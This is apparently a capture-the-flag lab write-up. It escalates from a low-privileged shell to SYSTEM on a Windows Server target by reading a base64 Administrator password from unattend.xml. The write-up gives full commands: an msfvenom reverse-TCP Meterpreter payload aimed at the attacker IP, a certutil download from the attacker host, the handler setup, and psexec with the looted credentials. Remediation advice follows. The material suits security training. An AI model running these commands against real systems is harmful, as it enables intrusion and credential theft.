Unattended Installation

Classification: Host & Network Penetration Testing / System & Host-Based Attacks
Target: 10.2.23.89 — Windows Server 2019 (Build 17763)
Attacker: 10.10.37.3 (Kali)
Flag: 097ab83639dce0ab3429cb0349493f60

1. Executive Summary

Windows unattended installations leave an answer file (unattend.xml / sysprep.xml) that often contains credentials. Starting from a low-privileged student shell, we stage a Meterpreter payload with certutil, then read C:\Windows\Panther\unattend.xml, which holds the local Administrator password in base64 (QWRtaW5AMTIz → Admin@123). Using those credentials with psexec gives a NT AUTHORITY\SYSTEM session and the flag.

2. Initial Foothold

The provided access runs as student, no admin rights.

whoami              # victim\student

Low-privileged student shell

3. Staging the Payload

Building a reverse-TCP payload.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.37.3 LPORT=1234 -f exe > payload.exe

msfvenom — payload.exe

Hosting it over a simple HTTP server.

python3 -m http.server 80

Python HTTP server

Downloading it onto the target with certutil.

certutil -urlcache -f http://10.10.37.3/payload.exe payload.exe
dir

certutil download of payload.exe

4. Getting a Session

Starting the handler and executing the payload.

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.37.3
set LPORT 1234
run

Handler configured

Payload executed

Meterpreter session as student

5. Looting unattend.xml

Searching the Panther directory for the answer file.

cd C:\Windows\Panther
dir

$Windows\Panther directory$

unattend.xml present

The AutoLogon block holds the Administrator password in base64.

<AutoLogon>
  <Password><Value>QWRtaW5AMTIz</Value><PlainText>false</PlainText></Password>
  <Enabled>true</Enabled>
  <Username>administrator</Username>
</AutoLogon>

unattend.xml — base64 Administrator password

Decoding it on Kali.

echo "QWRtaW5AMTIz" | base64 -d
# Admin@123

Saving the base64 value

base64 -d → Admin@123

6. SYSTEM via psexec

use exploit/windows/smb/psexec
set RHOSTS 10.2.23.89
set SMBUser Administrator
set SMBPass Admin@123
exploit

psexec configured

The session runs as NT AUTHORITY\SYSTEM.

whoami    # nt authority\system

psexec — SYSTEM session

7. Capturing the Flag

cd C:\Users\Administrator\Desktop
cat flag.txt
# 097ab83639dce0ab3429cb0349493f60

Flag from Administrator's desktop

8. Remediation Recommendations

Remove answer files (unattend.xml, sysprep.xml, Autounattend.xml) from C:\Windows\Panther\ and media after provisioning.
Never store credentials in answer files — base64 is encoding, not encryption; use LAPS for unique, rotated local admin passwords.
Restrict outbound access and living-off-the-land binaries (certutil) via WDAC/ AppLocker and egress filtering.
Apply least privilege and monitor for psexec-style service creation.